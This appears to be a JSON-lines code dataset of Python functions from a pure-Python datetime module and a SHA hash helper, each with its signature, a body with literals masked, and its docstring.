{"signature": "def _days_in_month(year, month):", "body": "assert <NUM_LIT:1> <= month <= <NUM_LIT:12>, month<EOL>if month == <NUM_LIT:2> and _is_leap(year):<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>return _DAYS_IN_MONTH[month]<EOL>", "docstring": "year, month -> number of days in that month in that year.", "id": "f16496:m5"}
{"signature": "def _days_before_month(year, month):", "body": "assert <NUM_LIT:1> <= month <= <NUM_LIT:12>, '<STR_LIT>'<EOL>return _DAYS_BEFORE_MONTH[month] + (month > <NUM_LIT:2> and _is_leap(year))<EOL>", "docstring": "year, month -> number of days in year preceding first day of month.", "id": "f16496:m6"}
{"signature": "def _ymd2ord(year, month, day):", "body": "assert <NUM_LIT:1> <= month <= <NUM_LIT:12>, '<STR_LIT>'<EOL>dim = _days_in_month(year, month)<EOL>assert <NUM_LIT:1> <= day <= dim, ('<STR_LIT>' % dim)<EOL>return (_days_before_year(year) +<EOL>_days_before_month(year, month) +<EOL>day)<EOL>", "docstring": "year, month, day -> ordinal, considering 01-Jan-0001 as day 1.", "id": "f16496:m7"}
{"signature": "def _ord2ymd(n):", "body": "<EOL>n -= <NUM_LIT:1><EOL>n400, n = divmod(n, _DI400Y)<EOL>year = n400 * <NUM_LIT> + <NUM_LIT:1>   <EOL>n100, n = divmod(n, _DI100Y)<EOL>n4, n = divmod(n, _DI4Y)<EOL>n1, n = divmod(n, <NUM_LIT>)<EOL>year += n100 * <NUM_LIT:100> + n4 * <NUM_LIT:4> + n1<EOL>if n1 == <NUM_LIT:4> or n100 == <NUM_LIT:4>:<EOL><INDENT>assert n == <NUM_LIT:0><EOL>return year-<NUM_LIT:1>, <NUM_LIT:12>, <NUM_LIT><EOL><DEDENT>leapyear = n1 == <NUM_LIT:3> and (n4 != <NUM_LIT> or n100 == <NUM_LIT:3>)<EOL>assert leapyear == _is_leap(year)<EOL>month = (n + <NUM_LIT:50>) >> <NUM_LIT:5><EOL>preceding = _DAYS_BEFORE_MONTH[month] + (month > <NUM_LIT:2> and leapyear)<EOL>if preceding > n:  <EOL><INDENT>month -= <NUM_LIT:1><EOL>preceding -= _DAYS_IN_MONTH[month] + (month == <NUM_LIT:2> and leapyear)<EOL><DEDENT>n -= preceding<EOL>assert <NUM_LIT:0> <= n < _days_in_month(year, month)<EOL>return year, month, n+<NUM_LIT:1><EOL>", "docstring": "ordinal -> (year, month, day), considering 01-Jan-0001 as day 1.", "id": "f16496:m8"}
{"signature": "def total_seconds(self):", "body": "<EOL>return float(self._to_microseconds()) / float(<NUM_LIT:10>**<NUM_LIT:6>)<EOL>", "docstring": "Total seconds in the duration.", "id": "f16496:c0:m6"}
{"signature": "@property<EOL><INDENT>def days(self):<DEDENT>", "body": "return self._days<EOL>", "docstring": "days", "id": "f16496:c0:m7"}
{"signature": "@property<EOL><INDENT>def seconds(self):<DEDENT>", "body": "return self._seconds<EOL>", "docstring": "seconds", "id": "f16496:c0:m8"}
{"signature": "@property<EOL><INDENT>def microseconds(self):<DEDENT>", "body": "return self._microseconds<EOL>", "docstring": "microseconds", "id": "f16496:c0:m9"}
{"signature": "def __new__(cls, year, month=None, day=None):", "body": "<EOL>year, month, day = _check_date_fields(year, month, day)<EOL>self = object.__new__(cls)<EOL>self._year = year<EOL>self._month = month<EOL>self._day = day<EOL>self._hashcode = -<NUM_LIT:1><EOL>return self<EOL>", "docstring": "Constructor.\n\n        Arguments:\n\n        year, month, day (required, base 1)", "id": "f16496:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def fromtimestamp(cls, t):<DEDENT>", "body": "y, m, d, hh, mm, ss, weekday, jday, dst = _time.localtime(t)<EOL>return cls(y, m, d)<EOL>", "docstring": "Construct a date from a POSIX timestamp (like time.time()).", "id": "f16496:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def today(cls):<DEDENT>", "body": "t = _time.time()<EOL>return cls.fromtimestamp(t)<EOL>", "docstring": "Construct a date from time.time().", "id": "f16496:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def fromordinal(cls, n):<DEDENT>", "body": "y, m, d = _ord2ymd(n)<EOL>return cls(y, m, d)<EOL>", "docstring": "Contruct a date from a proleptic Gregorian ordinal.\n\n        January 1 of year 1 is day 1.  Only the year, month and day are\n        non-zero in the result.", "id": "f16496:c1:m3"}
{"signature": "def __repr__(self):", "body": "module = \"<STR_LIT>\" if self.__class__ is date else \"<STR_LIT>\"<EOL>return \"<STR_LIT>\" % (module + self.__class__.__name__,<EOL>self._year,<EOL>self._month,<EOL>self._day)<EOL>", "docstring": "Convert to formal string, for repr().\n\n        >>> dt = datetime(2010, 1, 1)\n        >>> repr(dt)\n        'datetime.datetime(2010, 1, 1, 0, 0)'\n\n        >>> dt = datetime(2010, 1, 1, tzinfo=timezone.utc)\n        >>> repr(dt)\n        'datetime.datetime(2010, 1, 1, 0, 0, tzinfo=datetime.timezone.utc)'", "id": "f16496:c1:m4"}
{"signature": "def ctime(self):", "body": "weekday = self.toordinal() % <NUM_LIT:7> or <NUM_LIT:7><EOL>return \"<STR_LIT>\" % (<EOL>_DAYNAMES[weekday],<EOL>_MONTHNAMES[self._month],<EOL>self._day, self._year)<EOL>", "docstring": "Return ctime() style string.", "id": "f16496:c1:m5"}
{"signature": "def isoformat(self):", "body": "<EOL>return \"<STR_LIT>\" % (str(self._year).zfill(<NUM_LIT:4>), str(self._month).zfill(<NUM_LIT:2>), str(self._day).zfill(<NUM_LIT:2>))<EOL>", "docstring": "Return the date formatted according to ISO.\n\n        This is 'YYYY-MM-DD'.\n\n        References:\n        - http://www.w3.org/TR/NOTE-datetime\n        - http://www.cl.cam.ac.uk/~mgk25/iso-time.html", "id": "f16496:c1:m7"}
{"signature": "@property<EOL><INDENT>def year(self):<DEDENT>", "body": "return self._year<EOL>", "docstring": "year (1-9999)", "id": "f16496:c1:m8"}
{"signature": "@property<EOL><INDENT>def month(self):<DEDENT>", "body": "return self._month<EOL>", "docstring": "month (1-12)", "id": "f16496:c1:m9"}
{"signature": "@property<EOL><INDENT>def day(self):<DEDENT>", "body": "return self._day<EOL>", "docstring": "day (1-31)", "id": "f16496:c1:m10"}
{"signature": "def timetuple(self):", "body": "return _build_struct_time(self._year, self._month, self._day,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>)<EOL>", "docstring": "Return local time tuple compatible with time.localtime().", "id": "f16496:c1:m11"}
{"signature": "def toordinal(self):", "body": "return _ymd2ord(self._year, self._month, self._day)<EOL>", "docstring": "Return proleptic Gregorian ordinal for the year, month and day.\n\n        January 1 of year 1 is day 1.  Only the year, month and day values\n        contribute to the result.", "id": "f16496:c1:m12"}
{"signature": "def replace(self, year=None, month=None, day=None):", "body": "if year is None:<EOL><INDENT>year = self._year<EOL><DEDENT>if month is None:<EOL><INDENT>month = self._month<EOL><DEDENT>if day is None:<EOL><INDENT>day = self._day<EOL><DEDENT>return date.__new__(type(self), year, month, day)<EOL>", "docstring": "Return a new date with new values for the specified fields.", "id": "f16496:c1:m13"}
{"signature": "def __hash__(self):", "body": "if self._hashcode == -<NUM_LIT:1>:<EOL><INDENT>self._hashcode = hash(self._getstate())<EOL><DEDENT>return self._hashcode<EOL>", "docstring": "Hash.", "id": "f16496:c1:m21"}
{"signature": "def __add__(self, other):", "body": "if isinstance(other, timedelta):<EOL><INDENT>return self._add_timedelta(other, <NUM_LIT:1>)<EOL><DEDENT>return NotImplemented<EOL>", "docstring": "Add a date to a timedelta.", "id": "f16496:c1:m23"}
{"signature": "def __sub__(self, other):", "body": "if isinstance(other, date):<EOL><INDENT>days1 = self.toordinal()<EOL>days2 = other.toordinal()<EOL>return timedelta._create(days1 - days2, <NUM_LIT:0>, <NUM_LIT:0>, False)<EOL><DEDENT>if isinstance(other, timedelta):<EOL><INDENT>return self._add_timedelta(other, -<NUM_LIT:1>)<EOL><DEDENT>return NotImplemented<EOL>", "docstring": "Subtract two dates, or a date and a timedelta.", "id": "f16496:c1:m24"}
{"signature": "def weekday(self):", "body": "return (self.toordinal() + <NUM_LIT:6>) % <NUM_LIT:7><EOL>", "docstring": "Return day of the week, where Monday == 0 ... Sunday == 6.", "id": "f16496:c1:m25"}
{"signature": "def isoweekday(self):", "body": "<EOL>return self.toordinal() % <NUM_LIT:7> or <NUM_LIT:7><EOL>", "docstring": "Return day of the week, where Monday == 1 ... Sunday == 7.", "id": "f16496:c1:m26"}
{"signature": "def isocalendar(self):", "body": "year = self._year<EOL>week1monday = _isoweek1monday(year)<EOL>today = _ymd2ord(self._year, self._month, self._day)<EOL>week, day = divmod(today - week1monday, <NUM_LIT:7>)<EOL>if week < <NUM_LIT:0>:<EOL><INDENT>year -= <NUM_LIT:1><EOL>week1monday = _isoweek1monday(year)<EOL>week, day = divmod(today - week1monday, <NUM_LIT:7>)<EOL><DEDENT>elif week >= <NUM_LIT>:<EOL><INDENT>if today >= _isoweek1monday(year+<NUM_LIT:1>):<EOL><INDENT>year += <NUM_LIT:1><EOL>week = <NUM_LIT:0><EOL><DEDENT><DEDENT>return year, week+<NUM_LIT:1>, day+<NUM_LIT:1><EOL>", "docstring": "Return a 3-tuple containing ISO year, week number, and weekday.\n\n        The first ISO week of the year is the (Mon-Sun) week\n        containing the year's first Thursday; everything else derives\n        from that.\n\n        The first week is 1; Monday is 1 ... Sunday is 7.\n\n        ISO calendar algorithm taken from\n        http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm", "id": "f16496:c1:m27"}
{"signature": "def tzname(self, dt):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "datetime -> string name of time zone.", "id": "f16496:c2:m0"}
{"signature": "def utcoffset(self, dt):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "datetime -> minutes east of UTC (negative for west of UTC)", "id": "f16496:c2:m1"}
{"signature": "def dst(self, dt):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "datetime -> DST offset in minutes east of UTC.\n\n        Return 0 if DST not in effect.  utcoffset() must include the DST\n        offset.", "id": "f16496:c2:m2"}
{"signature": "def fromutc(self, dt):", "body": "if not isinstance(dt, datetime):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if dt.tzinfo is not self:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>dtoff = dt.utcoffset()<EOL>if dtoff is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT:result>\")<EOL><DEDENT>dtdst = dt.dst()<EOL>if dtdst is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>delta = dtoff - dtdst<EOL>if delta:<EOL><INDENT>dt += delta<EOL>dtdst = dt.dst()<EOL>if dtdst is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if dtdst:<EOL><INDENT>return dt + dtdst<EOL><DEDENT>else:<EOL><INDENT>return dt<EOL><DEDENT>", "docstring": "datetime in UTC -> datetime in local time.", "id": "f16496:c2:m3"}
{"signature": "def __new__(cls, hour=<NUM_LIT:0>, minute=<NUM_LIT:0>, second=<NUM_LIT:0>, microsecond=<NUM_LIT:0>, tzinfo=None):", "body": "<EOL>hour, minute, second, microsecond = _check_time_fields(<EOL>hour, minute, second, microsecond)<EOL>_check_tzinfo_arg(tzinfo)<EOL>self = object.__new__(cls)<EOL>self._hour = hour<EOL>self._minute = minute<EOL>self._second = second<EOL>self._microsecond = microsecond<EOL>self._tzinfo = tzinfo<EOL>self._hashcode = -<NUM_LIT:1><EOL>return self<EOL>", "docstring": "Constructor.\n\n        Arguments:\n\n        hour, minute (required)\n        second, microsecond (default to zero)\n        tzinfo (default to None)", "id": "f16496:c3:m0"}
{"signature": "@property<EOL><INDENT>def hour(self):<DEDENT>", "body": "return self._hour<EOL>", "docstring": "hour (0-23)", "id": "f16496:c3:m1"}
{"signature": "@property<EOL><INDENT>def minute(self):<DEDENT>", "body": "return self._minute<EOL>", "docstring": "minute (0-59)", "id": "f16496:c3:m2"}
{"signature": "@property<EOL><INDENT>def second(self):<DEDENT>", "body": "return self._second<EOL>", "docstring": "second (0-59)", "id": "f16496:c3:m3"}
{"signature": "@property<EOL><INDENT>def microsecond(self):<DEDENT>", "body": "return self._microsecond<EOL>", "docstring": "microsecond (0-999999)", "id": "f16496:c3:m4"}
{"signature": "@property<EOL><INDENT>def tzinfo(self):<DEDENT>", "body": "return self._tzinfo<EOL>", "docstring": "timezone info object", "id": "f16496:c3:m5"}
{"signature": "def __hash__(self):", "body": "if self._hashcode == -<NUM_LIT:1>:<EOL><INDENT>tzoff = self._utcoffset()<EOL>if not tzoff:  <EOL><INDENT>self._hashcode = hash(self._getstate()[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>h, m = divmod(self.hour * <NUM_LIT> + self.minute - tzoff, <NUM_LIT>)<EOL>if <NUM_LIT:0> <= h < <NUM_LIT>:<EOL><INDENT>self._hashcode = hash(time(h, m, self.second, self.microsecond))<EOL><DEDENT>else:<EOL><INDENT>self._hashcode = hash((h, m, self.second, self.microsecond))<EOL><DEDENT><DEDENT><DEDENT>return self._hashcode<EOL>", "docstring": "Hash.", "id": "f16496:c3:m13"}
{"signature": "def _tzstr(self, sep=\"<STR_LIT::>\"):", "body": "off = self._utcoffset()<EOL>if off is not None:<EOL><INDENT>if off < <NUM_LIT:0>:<EOL><INDENT>sign = \"<STR_LIT:->\"<EOL>off = -off<EOL><DEDENT>else:<EOL><INDENT>sign = \"<STR_LIT:+>\"<EOL><DEDENT>hh, mm = divmod(off, <NUM_LIT>)<EOL>assert <NUM_LIT:0> <= hh < <NUM_LIT><EOL>off = \"<STR_LIT>\" % (sign, hh, sep, mm)<EOL><DEDENT>return off<EOL>", "docstring": "Return formatted timezone offset (+xx:xx) or None.", "id": "f16496:c3:m14"}
{"signature": "def __repr__(self):", "body": "if self._microsecond != <NUM_LIT:0>:<EOL><INDENT>s = \"<STR_LIT>\" % (self._second, self._microsecond)<EOL><DEDENT>elif self._second != <NUM_LIT:0>:<EOL><INDENT>s = \"<STR_LIT>\" % self._second<EOL><DEDENT>else:<EOL><INDENT>s = \"<STR_LIT>\"<EOL><DEDENT>module = \"<STR_LIT>\" if self.__class__ is time else \"<STR_LIT>\"<EOL>s= \"<STR_LIT>\" % (module + self.__class__.__name__,<EOL>self._hour, self._minute, s)<EOL>if self._tzinfo is not None:<EOL><INDENT>assert s[-<NUM_LIT:1>:] == \"<STR_LIT:)>\"<EOL>s = s[:-<NUM_LIT:1>] + \"<STR_LIT>\" % self._tzinfo + \"<STR_LIT:)>\"<EOL><DEDENT>return s<EOL>", "docstring": "Convert to formal string, for repr().", "id": "f16496:c3:m15"}
{"signature": "def isoformat(self):", "body": "s = _format_time(self._hour, self._minute, self._second,<EOL>self._microsecond)<EOL>tz = self._tzstr()<EOL>if tz:<EOL><INDENT>s += tz<EOL><DEDENT>return s<EOL>", "docstring": "Return the time formatted according to ISO.\n\n        This is 'HH:MM:SS.mmmmmm+zz:zz', or 'HH:MM:SS+zz:zz' if\n        self.microsecond == 0.", "id": "f16496:c3:m16"}
{"signature": "def utcoffset(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>offset = self._tzinfo.utcoffset(None)<EOL>offset = _check_utc_offset(\"<STR_LIT>\", offset)<EOL>if offset is not None:<EOL><INDENT>offset = timedelta._create(<NUM_LIT:0>, offset * <NUM_LIT>, <NUM_LIT:0>, True)<EOL><DEDENT>return offset<EOL>", "docstring": "Return the timezone offset in minutes east of UTC (negative west of\n        UTC).", "id": "f16496:c3:m18"}
{"signature": "def tzname(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>name = self._tzinfo.tzname(None)<EOL>_check_tzname(name)<EOL>return name<EOL>", "docstring": "Return the timezone name.\n\n        Note that the name is 100% informational -- there's no requirement that\n        it mean anything in particular. For example, \"GMT\", \"UTC\", \"-500\",\n        \"-5:00\", \"EDT\", \"US/Eastern\", \"America/New York\" are all valid replies.", "id": "f16496:c3:m20"}
{"signature": "def dst(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>offset = self._tzinfo.dst(None)<EOL>offset = _check_utc_offset(\"<STR_LIT>\", offset)<EOL>if offset is not None:<EOL><INDENT>offset = timedelta._create(<NUM_LIT:0>, offset * <NUM_LIT>, <NUM_LIT:0>, True)<EOL><DEDENT>return offset<EOL>", "docstring": "Return 0 if DST is not in effect, or the DST offset (in minutes\n        eastward) if DST is in effect.\n\n        This is purely informational; the DST offset has already been added to\n        the UTC offset returned by utcoffset() if applicable, so there's no\n        need to consult dst() unless you're interested in displaying the DST\n        info.", "id": "f16496:c3:m21"}
{"signature": "def replace(self, hour=None, minute=None, second=None, microsecond=None,<EOL>tzinfo=True):", "body": "if hour is None:<EOL><INDENT>hour = self.hour<EOL><DEDENT>if minute is None:<EOL><INDENT>minute = self.minute<EOL><DEDENT>if second is None:<EOL><INDENT>second = self.second<EOL><DEDENT>if microsecond is None:<EOL><INDENT>microsecond = self.microsecond<EOL><DEDENT>if tzinfo is True:<EOL><INDENT>tzinfo = self.tzinfo<EOL><DEDENT>return time.__new__(type(self),<EOL>hour, minute, second, microsecond, tzinfo)<EOL>", "docstring": "Return a new time with new values for the specified fields.", "id": "f16496:c3:m23"}
{"signature": "@property<EOL><INDENT>def hour(self):<DEDENT>", "body": "return self._hour<EOL>", "docstring": "hour (0-23)", "id": "f16496:c4:m1"}
{"signature": "@property<EOL><INDENT>def minute(self):<DEDENT>", "body": "return self._minute<EOL>", "docstring": "minute (0-59)", "id": "f16496:c4:m2"}
{"signature": "@property<EOL><INDENT>def second(self):<DEDENT>", "body": "return self._second<EOL>", "docstring": "second (0-59)", "id": "f16496:c4:m3"}
{"signature": "@property<EOL><INDENT>def microsecond(self):<DEDENT>", "body": "return self._microsecond<EOL>", "docstring": "microsecond (0-999999)", "id": "f16496:c4:m4"}
{"signature": "@property<EOL><INDENT>def tzinfo(self):<DEDENT>", "body": "return self._tzinfo<EOL>", "docstring": "timezone info object", "id": "f16496:c4:m5"}
{"signature": "@classmethod<EOL><INDENT>def fromtimestamp(cls, timestamp, tz=None):<DEDENT>", "body": "_check_tzinfo_arg(tz)<EOL>converter = _time.localtime if tz is None else _time.gmtime<EOL>self = cls._from_timestamp(converter, timestamp, tz)<EOL>if tz is not None:<EOL><INDENT>self = tz.fromutc(self)<EOL><DEDENT>return self<EOL>", "docstring": "Construct a datetime from a POSIX timestamp (like time.time()).\n\n        A timezone info object may be passed in as well.", "id": "f16496:c4:m6"}
{"signature": "@classmethod<EOL><INDENT>def utcfromtimestamp(cls, t):<DEDENT>", "body": "return cls._from_timestamp(_time.gmtime, t, None)<EOL>", "docstring": "Construct a UTC datetime from a POSIX timestamp (like time.time()).", "id": "f16496:c4:m7"}
{"signature": "@classmethod<EOL><INDENT>def now(cls, tz=None):<DEDENT>", "body": "t = _time.time()<EOL>return cls.fromtimestamp(t, tz)<EOL>", "docstring": "Construct a datetime from time.time() and optional time zone info.", "id": "f16496:c4:m9"}
{"signature": "@classmethod<EOL><INDENT>def utcnow(cls):<DEDENT>", "body": "t = _time.time()<EOL>return cls.utcfromtimestamp(t)<EOL>", "docstring": "Construct a UTC datetime from time.time().", "id": "f16496:c4:m10"}
{"signature": "@classmethod<EOL><INDENT>def combine(cls, date, time):<DEDENT>", "body": "if not isinstance(date, _date_class):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(time, _time_class):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return cls(date.year, date.month, date.day,<EOL>time.hour, time.minute, time.second, time.microsecond,<EOL>time.tzinfo)<EOL>", "docstring": "Construct a datetime from a given date and a given time.", "id": "f16496:c4:m11"}
{"signature": "def timetuple(self):", "body": "dst = self._dst()<EOL>if dst is None:<EOL><INDENT>dst = -<NUM_LIT:1><EOL><DEDENT>elif dst:<EOL><INDENT>dst = <NUM_LIT:1><EOL><DEDENT>return _build_struct_time(self.year, self.month, self.day,<EOL>self.hour, self.minute, self.second,<EOL>dst)<EOL>", "docstring": "Return local time tuple compatible with time.localtime().", "id": "f16496:c4:m12"}
{"signature": "def utctimetuple(self):", "body": "y, m, d = self.year, self.month, self.day<EOL>hh, mm, ss = self.hour, self.minute, self.second<EOL>offset = self._utcoffset()<EOL>if offset:  <EOL><INDENT>mm -= offset<EOL>y, m, d, hh, mm, ss, _ = _normalize_datetime(<EOL>y, m, d, hh, mm, ss, <NUM_LIT:0>, ignore_overflow=True)<EOL><DEDENT>return _build_struct_time(y, m, d, hh, mm, ss, <NUM_LIT:0>)<EOL>", "docstring": "Return UTC time tuple compatible with time.gmtime().", "id": "f16496:c4:m13"}
{"signature": "def date(self):", "body": "return date(self._year, self._month, self._day)<EOL>", "docstring": "Return the date part.", "id": "f16496:c4:m14"}
{"signature": "def time(self):", "body": "return time(self.hour, self.minute, self.second, self.microsecond)<EOL>", "docstring": "Return the time part, with tzinfo None.", "id": "f16496:c4:m15"}
{"signature": "def timetz(self):", "body": "return time(self.hour, self.minute, self.second, self.microsecond,<EOL>self._tzinfo)<EOL>", "docstring": "Return the time part, with same tzinfo.", "id": "f16496:c4:m16"}
{"signature": "def replace(self, year=None, month=None, day=None, hour=None,<EOL>minute=None, second=None, microsecond=None, tzinfo=True):", "body": "if year is None:<EOL><INDENT>year = self.year<EOL><DEDENT>if month is None:<EOL><INDENT>month = self.month<EOL><DEDENT>if day is None:<EOL><INDENT>day = self.day<EOL><DEDENT>if hour is None:<EOL><INDENT>hour = self.hour<EOL><DEDENT>if minute is None:<EOL><INDENT>minute = self.minute<EOL><DEDENT>if second is None:<EOL><INDENT>second = self.second<EOL><DEDENT>if microsecond is None:<EOL><INDENT>microsecond = self.microsecond<EOL><DEDENT>if tzinfo is True:<EOL><INDENT>tzinfo = self.tzinfo<EOL><DEDENT>return datetime.__new__(type(self),<EOL>year, month, day, hour, minute, second,<EOL>microsecond, tzinfo)<EOL>", "docstring": "Return a new datetime with new values for the specified fields.", "id": "f16496:c4:m17"}
{"signature": "def ctime(self):", "body": "weekday = self.toordinal() % <NUM_LIT:7> or <NUM_LIT:7><EOL>return \"<STR_LIT>\" % (<EOL>_DAYNAMES[weekday],<EOL>_MONTHNAMES[self._month],<EOL>self._day,<EOL>self._hour, self._minute, self._second,<EOL>self._year)<EOL>", "docstring": "Return ctime() style string.", "id": "f16496:c4:m19"}
{"signature": "def isoformat(self, sep='<STR_LIT:T>'):", "body": "s = (\"<STR_LIT>\" % (self._year, self._month, self._day, sep) +<EOL>_format_time(self._hour, self._minute, self._second,<EOL>self._microsecond))<EOL>off = self._utcoffset()<EOL>if off is not None:<EOL><INDENT>if off < <NUM_LIT:0>:<EOL><INDENT>sign = \"<STR_LIT:->\"<EOL>off = -off<EOL><DEDENT>else:<EOL><INDENT>sign = \"<STR_LIT:+>\"<EOL><DEDENT>hh, mm = divmod(off, <NUM_LIT>)<EOL>s += \"<STR_LIT>\" % (sign, hh, mm)<EOL><DEDENT>return s<EOL>", "docstring": "Return the time formatted according to ISO.\n\n        This is 'YYYY-MM-DD HH:MM:SS.mmmmmm', or 'YYYY-MM-DD HH:MM:SS' if\n        self.microsecond == 0.\n\n        If self.tzinfo is not None, the UTC offset is also attached, giving\n        'YYYY-MM-DD HH:MM:SS.mmmmmm+HH:MM' or 'YYYY-MM-DD HH:MM:SS+HH:MM'.\n\n        Optional argument sep specifies the separator between date and\n        time, default 'T'.", "id": "f16496:c4:m20"}
{"signature": "def __repr__(self):", "body": "L = [self._year, self._month, self._day,  <EOL>self._hour, self._minute, self._second, self._microsecond]<EOL>if L[-<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>del L[-<NUM_LIT:1>]<EOL><DEDENT>if L[-<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>del L[-<NUM_LIT:1>]<EOL><DEDENT>s = \"<STR_LIT:U+002CU+0020>\".join(map(str, L))<EOL>module = \"<STR_LIT>\" if self.__class__ is datetime else \"<STR_LIT>\"<EOL>s = \"<STR_LIT>\" % (module + self.__class__.__name__, s)<EOL>if self._tzinfo is not None:<EOL><INDENT>assert s[-<NUM_LIT:1>:] == \"<STR_LIT:)>\"<EOL>s = s[:-<NUM_LIT:1>] + \"<STR_LIT>\" % self._tzinfo + \"<STR_LIT:)>\"<EOL><DEDENT>return s<EOL>", "docstring": "Convert to formal string, for repr().", "id": "f16496:c4:m21"}
{"signature": "def __str__(self):", "body": "return self.isoformat(sep='<STR_LIT:U+0020>')<EOL>", "docstring": "Convert to string, for str().", "id": "f16496:c4:m22"}
{"signature": "def utcoffset(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>offset = self._tzinfo.utcoffset(self)<EOL>offset = _check_utc_offset(\"<STR_LIT>\", offset)<EOL>if offset is not None:<EOL><INDENT>offset = timedelta._create(<NUM_LIT:0>, offset * <NUM_LIT>, <NUM_LIT:0>, True)<EOL><DEDENT>return offset<EOL>", "docstring": "Return the timezone offset in minutes east of UTC (negative west of\n        UTC).", "id": "f16496:c4:m23"}
{"signature": "def tzname(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>name = self._tzinfo.tzname(self)<EOL>_check_tzname(name)<EOL>return name<EOL>", "docstring": "Return the timezone name.\n\n        Note that the name is 100% informational -- there's no requirement that\n        it mean anything in particular. For example, \"GMT\", \"UTC\", \"-500\",\n        \"-5:00\", \"EDT\", \"US/Eastern\", \"America/New York\" are all valid replies.", "id": "f16496:c4:m25"}
{"signature": "def dst(self):", "body": "if self._tzinfo is None:<EOL><INDENT>return None<EOL><DEDENT>offset = self._tzinfo.dst(self)<EOL>offset = _check_utc_offset(\"<STR_LIT>\", offset)<EOL>if offset is not None:<EOL><INDENT>offset = timedelta._create(<NUM_LIT:0>, offset * <NUM_LIT>, <NUM_LIT:0>, True)<EOL><DEDENT>return offset<EOL>", "docstring": "Return 0 if DST is not in effect, or the DST offset (in minutes\n        eastward) if DST is in effect.\n\n        This is purely informational; the DST offset has already been added to\n        the UTC offset returned by utcoffset() if applicable, so there's no\n        need to consult dst() unless you're interested in displaying the DST\n        info.", "id": "f16496:c4:m26"}
{"signature": "def __add__(self, other):", "body": "if not isinstance(other, timedelta):<EOL><INDENT>return NotImplemented<EOL><DEDENT>return self._add_timedelta(other, <NUM_LIT:1>)<EOL>", "docstring": "Add a datetime and a timedelta.", "id": "f16496:c4:m36"}
{"signature": "def __sub__(self, other):", "body": "if not isinstance(other, datetime):<EOL><INDENT>if isinstance(other, timedelta):<EOL><INDENT>return self._add_timedelta(other, -<NUM_LIT:1>)<EOL><DEDENT>return NotImplemented<EOL><DEDENT>delta_d = self.toordinal() - other.toordinal()<EOL>delta_s = (self._hour - other._hour) * <NUM_LIT> +(self._minute - other._minute) * <NUM_LIT> +(self._second - other._second)<EOL>delta_us = self._microsecond - other._microsecond<EOL>base = timedelta._create(delta_d, delta_s, delta_us, True)<EOL>if self._tzinfo is other._tzinfo:<EOL><INDENT>return base<EOL><DEDENT>myoff = self._utcoffset()<EOL>otoff = other._utcoffset()<EOL>if myoff == otoff:<EOL><INDENT>return base<EOL><DEDENT>if myoff is None or otoff is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return base + timedelta(minutes = otoff-myoff)<EOL>", "docstring": "Subtract two datetimes, or a datetime and a timedelta.", "id": "f16496:c4:m37"}
{"signature": "def _long2bytesBigEndian(n, blocksize=<NUM_LIT:0>):", "body": "<EOL>s = b'<STR_LIT>'<EOL>pack = struct.pack<EOL>while n > <NUM_LIT:0>:<EOL><INDENT>s = pack('<STR_LIT>', n & <NUM_LIT>) + s<EOL>n = n >> <NUM_LIT:32><EOL><DEDENT>for i in range(len(s)):<EOL><INDENT>if s[i] != '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>s = '<STR_LIT>'<EOL>i = <NUM_LIT:0><EOL><DEDENT>s = s[i:]<EOL>if blocksize > <NUM_LIT:0> and len(s) % blocksize:<EOL><INDENT>s = (blocksize - len(s) % blocksize) * '<STR_LIT>' + s<EOL><DEDENT>return s<EOL>", "docstring": "Convert a long integer to a byte string.\n\n    If optional blocksize is given and greater than zero, pad the front\n    of the byte string with binary zeros so that the length is a multiple\n    of blocksize.", "id": "f16497:m0"}
{"signature": "def _bytelist2longBigEndian(list):", "body": "imax = len(list) // <NUM_LIT:4><EOL>hl = [<NUM_LIT:0>] * imax<EOL>j = <NUM_LIT:0><EOL>i = <NUM_LIT:0><EOL>while i < imax:<EOL><INDENT>b0 = ord(list[j]) << <NUM_LIT><EOL>b1 = ord(list[j+<NUM_LIT:1>]) << <NUM_LIT:16><EOL>b2 = ord(list[j+<NUM_LIT:2>]) << <NUM_LIT:8><EOL>b3 = ord(list[j+<NUM_LIT:3>])<EOL>hl[i] = b0 | b1 | b2 | b3<EOL>i = i+<NUM_LIT:1><EOL>j = j+<NUM_LIT:4><EOL><DEDENT>return hl<EOL>", "docstring": "Transform a list of characters into a list of longs.", "id": "f16497:m1"}
{"signature": "def _rotateLeft(x, n):", "body": "return (x << n) | (x >> (<NUM_LIT:32>-n))<EOL>", "docstring": "Rotate x (32 bit) left n bits circularly.", "id": "f16497:m2"}
{"signature": "def new(arg=None):", "body": "crypto = sha()<EOL>if arg:<EOL><INDENT>crypto.update(arg)<EOL><DEDENT>return crypto<EOL>", "docstring": "Return a new sha crypto object.\n\n    If arg is present, the method call update(arg) is made.", "id": "f16497:m7"}
